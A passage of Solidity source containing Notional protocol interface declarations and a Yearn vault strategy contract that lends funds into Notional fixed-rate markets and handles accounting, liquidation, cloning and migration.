event UpdateIncentiveEmissionRate(uint16 currencyId, uint32 newEmissionRate);
event UpdateTokenCollateralParameters(uint16 currencyId);
event UpdateGlobalTransferOperator(address operator, bool approved);
event UpdateAuthorizedCallbackContract(address operator, bool approved);
event UpdateMaxCollateralBalance(uint16 currencyId, uint72 maxCollateralBalance);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PauseRouterAndGuardianUpdated(address indexed pauseRouter, address indexed pauseGuardian);
function transferOwnership(address newOwner) external;
function setPauseRouterAndGuardian(address pauseRouter_, address pauseGuardian_) external;
function listCurrency(
TokenStorage calldata assetToken,
TokenStorage calldata underlyingToken,
AggregatorV2V3Interface rateOracle,
bool mustInvert,
uint8 buffer,
uint8 haircut,
uint8 liquidationDiscount
) external returns (uint16 currencyId);
function updateMaxCollateralBalance(
uint16 currencyId,
uint72 maxCollateralBalanceInternalPrecision
) external;
function enableCashGroup(
uint16 currencyId,
AssetRateAdapter assetRateOracle,
CashGroupSettings calldata cashGroup,
string calldata underlyingName,
string calldata underlyingSymbol
) external;
function updateDepositParameters(
uint16 currencyId,
uint32[] calldata depositShares,
uint32[] calldata leverageThresholds
) external;
function updateInitializationParameters(
uint16 currencyId,
uint32[] calldata annualizedAnchorRates,
uint32[] calldata proportions
) external;
function updateIncentiveEmissionRate(uint16 currencyId, uint32 newEmissionRate) external;
function updateTokenCollateralParameters(
uint16 currencyId,
uint8 residualPurchaseIncentive10BPS,
uint8 pvHaircutPercentage,
uint8 residualPurchaseTimeBufferHours,
uint8 cashWithholdingBuffer10BPS,
uint8 liquidationHaircutPercentage
) external;
function updateCashGroup(uint16 currencyId, CashGroupSettings calldata cashGroup) external;
function updateAssetRate(uint16 currencyId, AssetRateAdapter rateOracle) external;
function updateETHRate(
uint16 currencyId,
AggregatorV2V3Interface rateOracle,
bool mustInvert,
uint8 buffer,
uint8 haircut,
uint8 liquidationDiscount
) external;
function updateGlobalTransferOperator(address operator, bool approved) external;
function updateAuthorizedCallbackContract(address operator, bool approved) external;
}
// File: NotionalViews.sol
interface NotionalViews {
function getMaxCurrencyId() external view returns (uint16);
function getCurrencyId(address tokenAddress) external view returns (uint16 currencyId);
function getCurrency(uint16 currencyId)
external
view
returns (Token memory assetToken, Token memory underlyingToken);
function getRateStorage(uint16 currencyId)
external
view
returns (ETHRateStorage memory ethRate, AssetRateStorage memory assetRate);
function getCurrencyAndRates(uint16 currencyId)
external
view
returns (
Token memory assetToken,
Token memory underlyingToken,
ETHRate memory ethRate,
AssetRateParameters memory assetRate
);
function getCashGroup(uint16 currencyId) external view returns (CashGroupSettings memory);
function getCashGroupAndAssetRate(uint16 currencyId)
external
view
returns (CashGroupSettings memory cashGroup, AssetRateParameters memory assetRate);
function getInitializationParameters(uint16 currencyId)
external
view
returns (int256[] memory annualizedAnchorRates, int256[] memory proportions);
function getDepositParameters(uint16 currencyId)
external
view
returns (int256[] memory depositShares, int256[] memory leverageThresholds);
function nTokenAddress(uint16 currencyId) external view returns (address);
function getNoteToken() external view returns (address);
function getSettlementRate(uint16 currencyId, uint40 maturity)
external
view
returns (AssetRateParameters memory);
function getMarket(uint16 currencyId, uint256 maturity, uint256 settlementDate)
external view returns (MarketParameters memory);
function getActiveMarkets(uint16 currencyId) external view returns (MarketParameters[] memory);
function getActiveMarketsAtBlockTime(uint16 currencyId, uint32 blockTime)
external
view
returns (MarketParameters[] memory);
function getReserveBalance(uint16 currencyId) external view returns (int256 reserveBalance);
function getNTokenPortfolio(address tokenAddress)
external
view
returns (PortfolioAsset[] memory liquidityTokens, PortfolioAsset[] memory netfCashAssets);
function getNTokenAccount(address tokenAddress)
external
view
returns (
uint16 currencyId,
uint256 totalSupply,
uint256 incentiveAnnualEmissionRate,
uint256 lastInitializedTime,
bytes5 nTokenParameters,
int256 cashBalance,
uint256 integralTotalSupply,
uint256 lastSupplyChangeTime
);
function getAccount(address account)
external
view
returns (
AccountContext memory accountContext,
AccountBalance[] memory accountBalances,
PortfolioAsset[] memory portfolio
);
function getAccountContext(address account) external view returns (AccountContext memory);
function getAccountBalance(uint16 currencyId, address account)
external
view
returns (
int256 cashBalance,
int256 nTokenBalance,
uint256 lastClaimTime
);
function getAccountPortfolio(address account) external view returns (PortfolioAsset[] memory);
function getfCashNotional(
address account,
uint16 currencyId,
uint256 maturity
) external view returns (int256);
function getAssetsBitmap(address account, uint16 currencyId) external view returns (bytes32);
function getFreeCollateral(address account) external view returns (int256, int256[] memory);
function calculateNTokensToMint(uint16 currencyId, uint88 amountToDepositExternalPrecision)
external
view
returns (uint256);
function getfCashAmountGivenCashAmount(
uint16 currencyId,
int88 netCashToAccount,
uint256 marketIndex,
uint256 blockTime
) external view returns (int256);
function getCashAmountGivenfCashAmount(
uint16 currencyId,
int88 fCashAmount,
uint256 marketIndex,
uint256 blockTime
) external view returns (int256, int256);
function nTokenGetClaimableIncentives(address account, uint256 blockTime)
external
view
returns (uint256);
}
// File: nERC1155Interface.sol
interface nERC1155Interface {
event TransferSingle(
address indexed operator,
address indexed from,
address indexed to,
uint256 id,
uint256 value
);
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
event URI(string value, uint256 indexed id);
function supportsInterface(bytes4 interfaceId) external pure returns (bool);
function balanceOf(address account, uint256 id) external view returns (uint256);
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
function signedBalanceOf(address account, uint256 id) external view returns (int256);
function signedBalanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (int256[] memory);
function setApprovalForAll(address operator, bool approved) external;
function isApprovedForAll(address account, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external payable;
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external payable;
function decodeToAssets(uint256[] calldata ids, uint256[] calldata amounts)
external
view
returns (PortfolioAsset[] memory);
function encodeToId(
uint16 currencyId,
uint40 maturity,
uint8 assetType
) external pure returns (uint256 id);
}
// File: NotionalProxy.sol
interface NotionalProxy is nTokenERC20, nERC1155Interface, NotionalGovernance, NotionalViews {
/** User trading events */
event CashBalanceChange(address indexed account, uint16 indexed currencyId, int256 netCashChange);
event nTokenSupplyChange(address indexed account, uint16 indexed currencyId, int256 tokenSupplyChange);
event MarketsInitialized(uint16 currencyId);
event SweepCashIntoMarkets(uint16 currencyId, int256 cashIntoMarkets);
event SettledCashDebt(
address indexed settledAccount,
uint16 indexed currencyId,
address indexed settler,
int256 amountToSettleAsset,
int256 fCashAmount
);
event nTokenResidualPurchase(
uint16 indexed currencyId,
uint40 indexed maturity,
address indexed purchaser,
int256 fCashAmountToPurchase,
int256 netAssetCashNToken
);
event LendBorrowTrade(
address indexed account,
uint16 indexed currencyId,
uint40 maturity,
int256 netAssetCash,
int256 netfCash
);
event AddRemoveLiquidity(
address indexed account,
uint16 indexed currencyId,
uint40 maturity,
int256 netAssetCash,
int256 netfCash,
int256 netLiquidityTokens
);
/// @notice Emitted when reserve fees are accrued
event ReserveFeeAccrued(uint16 indexed currencyId, int256 fee);
/// @notice Emitted whenever an account context has updated
event AccountContextUpdate(address indexed account);
/// @notice Emitted when an account has assets that are settled
event AccountSettled(address indexed account);
/// @notice Emitted when an asset rate is settled
event SetSettlementRate(uint256 indexed currencyId, uint256 indexed maturity, uint128 rate);
/* Liquidation Events */
event LiquidateLocalCurrency(
address indexed liquidated,
address indexed liquidator,
uint16 localCurrencyId,
int256 netLocalFromLiquidator
);
event LiquidateCollateralCurrency(
address indexed liquidated,
address indexed liquidator,
uint16 localCurrencyId,
uint16 collateralCurrencyId,
int256 netLocalFromLiquidator,
int256 netCollateralTransfer,
int256 netNTokenTransfer
);
event LiquidatefCashEvent(
address indexed liquidated,
address indexed liquidator,
uint16 localCurrencyId,
uint16 fCashCurrency,
int256 netLocalFromLiquidator,
uint256[] fCashMaturities,
int256[] fCashNotionalTransfer
);
/** UUPS Upgradeable contract calls */
function upgradeTo(address newImplementation) external;
function upgradeToAndCall(address newImplementation, bytes memory data) external payable;
function getImplementation() external view returns (address);
function owner() external view returns (address);
function pauseRouter() external view returns (address);
function pauseGuardian() external view returns (address);
/** Initialize Markets Action */
function initializeMarkets(uint16 currencyId, bool isFirstInit) external;
function sweepCashIntoMarkets(uint16 currencyId) external;
/** Redeem nToken Action */
function nTokenRedeem(
address redeemer,
uint16 currencyId,
uint96 tokensToRedeem_,
bool sellTokenAssets
) external returns (int256);
/** Account Action */
function enableBitmapCurrency(uint16 currencyId) external;
function settleAccount(address account) external;
function depositUnderlyingToken(
address account,
uint16 currencyId,
uint256 amountExternalPrecision
) external payable returns (uint256);
function depositAssetToken(
address account,
uint16 currencyId,
uint256 amountExternalPrecision
) external returns (uint256);
function withdraw(
uint16 currencyId,
uint88 amountInternalPrecision,
bool redeemToUnderlying
) external returns (uint256);
/** Batch Action */
function batchBalanceAction(address account, BalanceAction[] calldata actions) external payable;
function batchBalanceAndTradeAction(address account, BalanceActionWithTrades[] calldata actions)
external
payable;
function batchBalanceAndTradeActionWithCallback(
address account,
BalanceActionWithTrades[] calldata actions,
bytes calldata callbackData
) external payable;
/** Liquidation Action */
function calculateLocalCurrencyLiquidation(
address liquidateAccount,
uint16 localCurrency,
uint96 maxNTokenLiquidation
) external returns (int256, int256);
function liquidateLocalCurrency(
address liquidateAccount,
uint16 localCurrency,
uint96 maxNTokenLiquidation
) external returns (int256, int256);
function calculateCollateralCurrencyLiquidation(
address liquidateAccount,
uint16 localCurrency,
uint16 collateralCurrency,
uint128 maxCollateralLiquidation,
uint96 maxNTokenLiquidation
)
external
returns (
int256,
int256,
int256
);
function liquidateCollateralCurrency(
address liquidateAccount,
uint16 localCurrency,
uint16 collateralCurrency,
uint128 maxCollateralLiquidation,
uint96 maxNTokenLiquidation,
bool withdrawCollateral,
bool redeemToUnderlying
)
external
returns (
int256,
int256,
int256
);
function calculatefCashLocalLiquidation(
address liquidateAccount,
uint16 localCurrency,
uint256[] calldata fCashMaturities,
uint256[] calldata maxfCashLiquidateAmounts
) external returns (int256[] memory, int256);
function liquidatefCashLocal(
address liquidateAccount,
uint16 localCurrency,
uint256[] calldata fCashMaturities,
uint256[] calldata maxfCashLiquidateAmounts
) external returns (int256[] memory, int256);
function calculatefCashCrossCurrencyLiquidation(
address liquidateAccount,
uint16 localCurrency,
uint16 fCashCurrency,
uint256[] calldata fCashMaturities,
uint256[] calldata maxfCashLiquidateAmounts
) external returns (int256[] memory, int256);
function liquidatefCashCrossCurrency(
address liquidateAccount,
uint16 localCurrency,
uint16 fCashCurrency,
uint256[] calldata fCashMaturities,
uint256[] calldata maxfCashLiquidateAmounts
) external returns (int256[] memory, int256);
}
// File: Strategy.sol
// Necessary interfaces to:
// 1) interact with the Notional protocol
// 2) Transact between WETH (Vault) and ETH (Notional)
// These are the core Yearn libraries
// Import the necessary structs to send/ receive data from Notional
/*
* @notice
* Yearn Strategy allocating vault\'s funds to a fixed rate lending market within the Notional protocol
*/
contract Strategy is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
// NotionalContract: proxy that points to a router with different implementations depending on function
NotionalProxy public nProxy;
// ID of the asset being lent in Notional
uint16 public currencyID;
// Difference of decimals between Notional system (8) and want
uint256 public DECIMALS_DIFFERENCE;
// Scaling factor for entering positions as the fcash estimations have rounding errors
uint256 internal constant FCASH_SCALING = 9_995;
// minimum maturity for the market to enter
uint256 private minTimeToMaturity;
// minimum amount of want to act on
uint16 public minAmountWant;
// Initialize WETH interface
IWETH public constant weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
// Constant necessary to accept ERC1155 fcash tokens (for migration purposes)
bytes4 internal constant ERC1155_ACCEPTED = bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
// To control when positions should be liquidated before maturity or not (and thus incur in losses)
bool internal toggleRealizeLosses;
// Base for percentage calculations. BPS (10000 = 100%, 100 = 1%)
uint256 private constant MAX_BPS = 10_000;
// Current maturity invested
uint256 private maturity;
// EVENTS
event Cloned(address indexed clone);
/*
* @notice constructor for the contract, called at deployment, calls the initializer function used for
* cloning strategies
* @param _vault Address of the corresponding vault the contract reports to
* @param _nProxy Notional proxy used to interact with the protocol
* @param _currencyID Notional identifier of the currency (token) the strategy interacts with:
* 1 - ETH
* 2 - DAI
* 3 - USDC
* 4 - WBTC
*/
constructor(
address _vault,
NotionalProxy _nProxy,
uint16 _currencyID
) public BaseStrategy (_vault) {
_initializeNotionalStrategy(_nProxy, _currencyID);
}
/*
* @notice Initializer function to initialize both the BaseSrategy and the Notional strategy
* @param _vault Address of the corresponding vault the contract reports to
* @param _strategist Strategist managing the strategy
* @param _rewards Rewards address
* @param _keeper Keeper address
* @param _nProxy Notional proxy used to interact with the protocol
* @param _currencyID Notional identifier of the currency (token) the strategy interacts with:
* 1 - ETH
* 2 - DAI
* 3 - USDC
* 4 - WBTC
*/
function initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper,
NotionalProxy _nProxy,
uint16 _currencyID
) external {
_initialize(_vault, _strategist, _rewards, _keeper);
_initializeNotionalStrategy(_nProxy, _currencyID);
}
/*
* @notice Internal initializer for the Notional Strategy contract
* @param _nProxy Notional proxy used to interact with the protocol
* @param _currencyID Notional identifier of the currency (token) the strategy interacts with:
* 1 - ETH
* 2 - DAI
* 3 - USDC
* 4 - WBTC
*/
function _initializeNotionalStrategy (
NotionalProxy _nProxy,
uint16 _currencyID
) internal {
currencyID = _currencyID;
nProxy = _nProxy;
(Token memory assetToken, Token memory underlying) = _nProxy.getCurrency(_currencyID);
DECIMALS_DIFFERENCE = uint256(underlying.decimals).mul(MAX_BPS).div(uint256(assetToken.decimals));
// By default do not realize losses
toggleRealizeLosses = false;
// Check whether the currency is set up right
if (_currencyID == 1) {
require(address(0) == underlying.tokenAddress);
} else {
require(address(want) == underlying.tokenAddress);
}
}
/*
* @notice Cloning function to re-use the strategy code and deploy the same strategy with other key parameters,
* notably currencyID or yVault
* @param _vault Address of the corresponding vault the contract reports to
* @param _strategist Strategist managing the strategy
* @param _rewards Rewards address
* @param _keeper Keeper address
* @param _nProxy Notional proxy used to interact with the protocol
* @param _currencyID Notional identifier of the currency (token) the strategy interacts with:
* 1 - ETH
* 2 - DAI
* 3 - USDC
* 4 - WBTC
*/
function cloneStrategy(
address _vault,
address _strategist,
address _rewards,
address _keeper,
NotionalProxy _nProxy,
uint16 _currencyID
) external returns (address payable newStrategy) {
// Copied from https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol
bytes20 addressBytes = bytes20(address(this));
assembly {
// EIP-1167 bytecode
let clone_code := mload(0x40)
mstore(clone_code, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone_code, 0x14), addressBytes)
mstore(add(clone_code, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
newStrategy := create(0, clone_code, 0x37)
}
Strategy(newStrategy).initialize(_vault, _strategist, _rewards, _keeper, _nProxy, _currencyID);
emit Cloned(newStrategy);
}
// For ETH based strategies
receive() external payable {}
/*
* @notice
* Sweep function only callable by governance to be able to sweep any ETH assigned to the strategy\'s balance
*/
function sendETHToGovernance() external onlyGovernance {
(bool sent, bytes memory data) = governance().call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
/*
* @notice
* Getter function for the name of the strategy
* @return string, the name of the strategy
*/
function name() external view override returns (string memory) {
// Add your own name here, suggestion e.g. "StrategyCreamYFI"
return "StrategyNotionalLending";
}
/*
* @notice
* Getter function for the current invested maturity
* @return uint256, current maturity we are invested in
*/
function getMaturity() external view returns(uint256) {
return maturity;
}
/*
* @notice
* Getter function for the toggle defining whether to realize losses or not
* @return bool, current toggleRealizeLosses state variable
*/
function getToggleRealizeLosses() external view returns(bool) {
return toggleRealizeLosses;
}
/*
* @notice
* Setter function for the toggle defining whether to realize losses or not
* only accessible to strategist, governance, guardian and management
* @param _newToggle, new booelan value for the toggle
*/
function setToggleRealizeLosses(bool _newToggle) external onlyEmergencyAuthorized {
toggleRealizeLosses = _newToggle;
}
/*
* @notice
* Getter function for the minimum time to maturity to invest into
* @return uint256, current minTimeToMaturity state variable
*/
function getMinTimeToMaturity() external view returns(uint256) {
return minTimeToMaturity;
}
/*
* @notice
* Setter function for the minimum time to maturity to invest into, accesible only to strategist, governance, guardian and management
* @param _newTime, new minimum time to maturity to invest into
*/
function setMinTimeToMaturity(uint256 _newTime) external onlyEmergencyAuthorized {
minTimeToMaturity = _newTime;
}
/*
* @notice
* Setter function for the minimum amount of want to invest, accesible only to strategist, governance, guardian and management
* @param _newMinAmount, new minimum amount of want to invest
*/
function setMinAmountWant(uint16 _newMinAmount) external onlyEmergencyAuthorized {
minAmountWant = _newMinAmount;
}
/*
* @notice
* Function estimating the total assets under management of the strategy, whether realized (token balances
* of the contract) or unrealized (as Notional lending positions)
* @return uint256, value containing the total AUM valuation
*/
function estimatedTotalAssets() public view override returns (uint256) {
// To estimate the assets under management of the strategy we add the want balance already
// in the contract and the current valuation of the matured and non-matured positions (including the cost of)
// closing the position early
return balanceOfWant()
.add(_getTotalValueFromPortfolio())
;
}
/*
* @notice
* Accounting function preparing the reporting to the vault taking into acccount the standing debt
* @param _debtOutstanding, Debt still left to pay to the vault
* @return _profit, the amount of profits the strategy may have produced until now
* @return _loss, the amount of losses the strategy may have produced until now
* @return _debtPayment, the amount the strategy has been able to pay back to the vault
*/
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
// Withdraw from terms that already matured
_checkPositionsAndWithdraw();
// We only need profit for decision making
(_profit, ) = getUnrealisedPL();
// free funds to repay debt + profit to the strategy
uint256 wantBalance = balanceOfWant();
// If we cannot realize the profit using want balance, don\'t report a profit to avoid
// closing active positions before maturity
if (_profit > wantBalance) {
_profit = 0;
}
uint256 amountRequired = _debtOutstanding.add(_profit);
if(amountRequired > wantBalance) {
// we need to free funds
// NOTE: liquidatePosition will try to use balanceOfWant first
// liquidatePosition will realise Losses if required !! (which cannot be equal to unrealised losses if
// we are not withdrawing 100% of position)
uint256 amountAvailable = wantBalance;
uint256 realisedLoss = 0;
// If the toggle to realize losses is off, do not close any position
if(toggleRealizeLosses) {
(amountAvailable, realisedLoss) = liquidatePosition(amountRequired);
}
_loss = realisedLoss;
if(amountAvailable >= amountRequired) {
// There are no realisedLosses, debt is paid entirely and
// profit is defined in line 299 and 306
_debtPayment = _debtOutstanding;
} else {
// We were not able to free enough funds
if(amountAvailable < _debtOutstanding) {
// available funds are lower than the repayment that we need to do
_profit = 0;
_debtPayment = amountAvailable;
// we dont report losses here as the strategy might not be able to return in this harvest
// but it will still be there for the next harvest
} else {
// NOTE: amountRequired is always equal or greater than _debtOutstanding
// important to use amountRequired just in case amountAvailable is > amountAvailable
// We will not report and losses but pay the entire debtOutstanding and report the rest of
// amountAvailable as profit (therefore losses are 0 because we were able to pay debtPayment)
_debtPayment = _debtOutstanding;
_profit = amountAvailable.sub(_debtPayment);
_loss = 0;
}
}
} else {
_debtPayment = _debtOutstanding;
}
}
/*
* @notice
* Function re-allocating the available funds (present in the strategy\'s balance in the \'want\' token)
* into new positions in Notional
* @param _debtOutstanding, Debt still left to pay to the vault
*/
function adjustPosition(uint256 _debtOutstanding) internal override {
uint256 availableWantBalance = balanceOfWant();
if(availableWantBalance <= _debtOutstanding) {
return;
}
availableWantBalance = availableWantBalance.sub(_debtOutstanding);
if(availableWantBalance < minAmountWant) {
return;
}
// gas savings
uint16 _currencyID = currencyID;
uint256 _maturity = maturity;
// Use the market index with the shortest maturity
(uint256 minMarketIndex, uint256 minMarketMaturity) = _getMinimumMarketIndex();
// If the new position enters a different market than the current maturity, roll the current position into
// the next maturity market
if(minMarketMaturity > _maturity && _maturity > 0) {
availableWantBalance += _rollOverTrade(_maturity);
}
if (_currencyID == 1) {
// Only necessary for wETH/ ETH pair
weth.withdraw(availableWantBalance);
} else {
want.approve(address(nProxy), availableWantBalance);
}
// Amount to trade is the available want balance, changed to 8 decimals and
// scaled down by FCASH_SCALING to ensure it does not revert
int88 amountTrade = int88(
availableWantBalance.mul(MAX_BPS).div(DECIMALS_DIFFERENCE).mul(FCASH_SCALING).div(MAX_BPS)
);
// NOTE: May revert if the availableWantBalance is too high and interest rates get to < 0
int256 fCashAmountToTrade = nProxy.getfCashAmountGivenCashAmount(
_currencyID,
-amountTrade,
minMarketIndex,
block.timestamp
);
if (fCashAmountToTrade <= 0) {
return;
}
// Trade the shortest maturity market with at least minAmountToMaturity time left
bytes32[] memory trades = new bytes32[](1);
trades[0] = getTradeFrom(
0,
minMarketIndex,
uint256(fCashAmountToTrade)
);
executeBalanceActionWithTrades(
DepositActionType.DepositUnderlying,
availableWantBalance,
0,
true,
true,
trades
);
maturity = minMarketMaturity;
}
/*
* @notice
* Internal function encoding a trade parameter into a bytes32 variable needed for Notional
* @param _tradeType, Identification of the trade to perform, following the Notional classification in enum \'TradeActionType\'
* @param _marketIndex, Market index in which to trade into
* @param _amount, fCash amount to trade
* @return bytes32 result, the encoded trade ready to be used in Notional\'s \'BatchTradeAction\'
*/
function getTradeFrom(uint8 _tradeType, uint256 _marketIndex, uint256 _amount) internal returns (bytes32 result) {
uint8 tradeType = uint8(_tradeType);
uint8 marketIndex = uint8(_marketIndex);
uint88 fCashAmount = uint88(_amount);
uint32 minSlippage = uint32(0);
uint120 padding = uint120(0);
// We create result of trade in a bitmap packed encoded bytes32
result = bytes32(uint(tradeType)) << 248;
result |= bytes32(uint(marketIndex) << 240);
result |= bytes32(uint(fCashAmount) << 152);
result |= bytes32(uint(minSlippage) << 120);
return result;
}
/*
* @notice
* Internal function to assess the unrealised P&L of the Notional\'s positions
* @return uint256 result, the encoded trade ready to be used in Notional\'s \'BatchTradeAction\'
*/
function getUnrealisedPL() internal view returns (uint256 _unrealisedProfit, uint256 _unrealisedLoss) {
// Calculate assets. This includes profit and cost of closing current position.
// Due to cost of closing position, If called just after opening the position, assets < invested want
uint256 totalAssets = estimatedTotalAssets();
// Get total debt from vault
uint256 totalDebt = vault.strategies(address(this)).totalDebt;
// Calculate current P&L
if(totalDebt > totalAssets) {
// we have losses
// Losses are unrealised until we close the position so we should not report them until realised
_unrealisedLoss = totalDebt.sub(totalAssets);
} else {
// we have profit
_unrealisedProfit = totalAssets.sub(totalDebt);
}
}
/*
* @notice
* Internal function liquidating enough Notional positions to liberate _amountNeeded \'want\' tokens
* @param _amountNeeded, The total amount of tokens needed to pay the vault back
* @return uint256 _liquidatedAmount, Amount freed
* @return uint256 _loss, Losses incurred due to early closing of positions
*/
function liquidatePosition(uint256 _amountNeeded)
internal
override
returns (uint256 _liquidatedAmount, uint256 _loss)
{
_checkPositionsAndWithdraw();
uint256 wantBalance = balanceOfWant();
if (wantBalance >= _amountNeeded) {
return (_amountNeeded, 0);
}
// Get current position\'s P&L
(, uint256 unrealisedLosses) = getUnrealisedPL();
// We only need to withdraw what we don\'t currently have
uint256 amountToLiquidate = _amountNeeded.sub(wantBalance);
// Losses are realised IFF we withdraw from the position, as they will come from breaking our "promise"
// of lending at a certain %
// The strategy will only realise losses proportional to the amount we are liquidating
uint256 totalDebt = vault.strategies(address(this)).totalDebt;
uint256 lossesToBeRealised = unrealisedLosses.mul(amountToLiquidate).div(totalDebt.sub(wantBalance));
// Due to how Notional works, we need to substract losses from the amount to liquidate
// If we don\'t do this and withdraw a small enough % of position, we will not incur in losses,
// leaving them for the future withdrawals (which is bad! those who withdraw should take the losses)
amountToLiquidate = amountToLiquidate.sub(lossesToBeRealised);
// Retrieve info of portfolio (summary of our position/s)
PortfolioAsset[] memory _accountPortfolio = nProxy.getAccountPortfolio(address(this));
// The maximum amount of trades we are doing is the number of terms (aka markets) we are in
bytes32[] memory trades = new bytes32[](_accountPortfolio.length);
// To liquidate the full required amount we may need to liquidate several differents terms
// This shouldn\'t happen in the basic strategy (as we will only lend to the shortest term)
uint256 remainingAmount = amountToLiquidate;
// The following for-loop creates the list of required trades to get the amountRequired
uint256 tradesToExecute = 0;
for(uint256 i; i < _accountPortfolio.length; i++) {
if (remainingAmount > 0) {
uint256 _marketIndex = _getMarketIndexForMaturity(
_accountPortfolio[i].maturity
);
// Retrieve size of position in this market (underlyingInternalNotation)
(, int256 underlyingInternalNotation) = nProxy.getCashAmountGivenfCashAmount(
currencyID,
int88(-_accountPortfolio[i].notional),
_marketIndex,
block.timestamp
);
// Adjust for decimals (Notional uses 8 decimals regardless of underlying)
uint256 underlyingPosition = uint256(underlyingInternalNotation).mul(DECIMALS_DIFFERENCE).div(MAX_BPS);
// If we can withdraw what we need from this market, we do and stop iterating over markets
// If we can\'t, we create the trade to withdraw maximum amount and try in the next market / term
if(underlyingPosition > remainingAmount) {
int256 fCashAmountToTrade = -nProxy.getfCashAmountGivenCashAmount(
currencyID,
int88(remainingAmount.mul(MAX_BPS).div(DECIMALS_DIFFERENCE)) + 1,
_marketIndex,
block.timestamp
);
trades[i] = getTradeFrom(1, _marketIndex,
uint256(fCashAmountToTrade)
);
tradesToExecute++;
remainingAmount = 0;
break;
} else {
trades[i] = getTradeFrom(1, _marketIndex, uint256(_accountPortfolio[i].notional));
tradesToExecute++;
remainingAmount -= underlyingPosition;
maturity = 0;
}
}
}
// NOTE: if for some reason we reach this with remainingAmount > 0, we will report losses !
// this makes sense because means we have iterated over all markets and haven\'t been able to withdraw
// As we did not know the number of trades we needed to make, we adjust the array to only include
// non-empty trades (reverts otherwise)
bytes32[] memory final_trades = new bytes32[](tradesToExecute);
for (uint256 j=0; j<tradesToExecute; j++) {
final_trades[j] = trades[j];
}
// Execute previously calculated trades
// We won\'t deposit anything (we are withdrawing) and we signal that we want the underlying to hit the strategy (instead of remaining in our Notional account)
executeBalanceActionWithTrades(
DepositActionType.None,
0,
0,
true,
true,
final_trades
);
// Assess result
uint256 totalAssets = balanceOfWant();
if (_amountNeeded > totalAssets) {
_liquidatedAmount = totalAssets;
// _loss should be equal to lossesToBeRealised !
_loss = _amountNeeded.sub(totalAssets);
} else {
_liquidatedAmount = _amountNeeded;
}
// Re-set the toggle to false
toggleRealizeLosses = false;
}
/*
* @notice
* Internal function used in emergency to close all active positions and liberate all assets
* @return uint256 amountLiquidated, the total amount liquidated
*/
function liquidateAllPositions() internal override returns (uint256) {
(uint256 amountLiquidated, ) = liquidatePosition(estimatedTotalAssets());
return amountLiquidated;
}
/*
* @notice
* Internal function used to migrate all \'want\' tokens and active Notional positions to a new strategy
* @param _newStrategy address where the contract of the new strategy is located
*/
function prepareMigration(address _newStrategy) internal override {
_checkPositionsAndWithdraw();
PortfolioAsset[] memory _accountPortfolio = nProxy.getAccountPortfolio(address(this));
uint256 _id = 0;
for(uint256 i = 0; i < _accountPortfolio.length; i++) {
_id = nProxy.encodeToId(
currencyID,
uint40(_accountPortfolio[i].maturity),
uint8(_accountPortfolio[i].assetType)
);
nProxy.safeTransferFrom(
address(this),
_newStrategy,
_id,
uint256(_accountPortfolio[i].notional),
""
);
}
}
/*
* @notice
* Callback function needed to receive ERC1155 (fcash), not needed for the first startegy contract but
* relevant for all the next ones
* @param _sender, address of the msg.sender
* @param _from, address of the contract sending the erc1155
* @_id, encoded id of the asset (fcash or liquidity token)
* @_amount, amount of assets tor receive
* _data, bytes calldata to perform extra actions after receiving the erc1155
* @return bytes4, constant accepting the erc1155
*/
function onERC1155Received(address _sender, address _from, uint256 _id, uint256 _amount, bytes calldata _data) public returns(bytes4){
return ERC1155_ACCEPTED;
}
/*
* @notice
* Define protected tokens for the strategy to manage persistently that will not get converted back
* to \'want\'
* @return address result, the address of the tokens to protect
*/
function protectedTokens()
internal
view
override
returns (address[] memory)
{}
/*
* @notice
* Provide an accurate conversion from `_amtInWei` (denominated in wei)
* to `want` (using the native decimal characteristics of `want`).
* @dev
* Care must be taken when working with decimals to assure that the conversion
* is compatible. As an example:
*
* given 1e17 wei (0.1 ETH) as input, and want is USDC (6 decimals),
* with USDC/ETH = 1800, this should give back 1800000000 (180 USDC)
*
* @param _amtInWei The amount (in wei/1e-18 ETH) to convert to `want`
* @return The amount in `want` of `_amtInEth` converted to `want`
*/
function ethToWant(uint256 _amtInWei)
public
view
override
returns (uint256)
{
return _fromETH(_amtInWei, address(want));
}
/*
* @notice
* Internal function exchanging between ETH to \'want\'
* @param _amount, Amount to exchange
* @param asset, \'want\' asset to exchange to
* @return uint256 result, the equivalent ETH amount in \'want\' tokens
*/
function _fromETH(uint256 _amount, address asset)
internal
view
returns (uint256)
{
if (
_amount == 0 ||
_amount == type(uint256).max ||
address(asset) == address(weth) // 1:1 change
) {
return _amount;
}
(
Token memory assetToken,
Token memory underlyingToken,
ETHRate memory ethRate,
AssetRateParameters memory assetRate
) = nProxy.getCurrencyAndRates(currencyID);
return _amount.mul(uint256(underlyingToken.decimals)).div(uint256(ethRate.rate));
}
/*
* @notice
* Public function used by the keeper to assess whether a harvest is necessary or not,
* returns true only if there is a position to settle
* @param callCostInWei, call cost estimation performed by the keeper
* @return bool, true when the strategy has a mature positionº
*/
function harvestTrigger(uint256 callCostInWei) public view override returns (bool) {
// We check if there is anything to settle in the account\'s portfolio by checking the account\'s
// nextSettleTime in the account context
AccountContext memory _accountContext = nProxy.getAccountContext(address(this));
// If there is something to settle, do it and withdraw to the strategy\'s balance
if (uint256(_accountContext.nextSettleTime) < block.timestamp) {
return true;
}
return false;
}
// INTERNAL FUNCTIONS
/*
* @notice
* Internal function used to check whether there are positions that have reached maturity and if so,
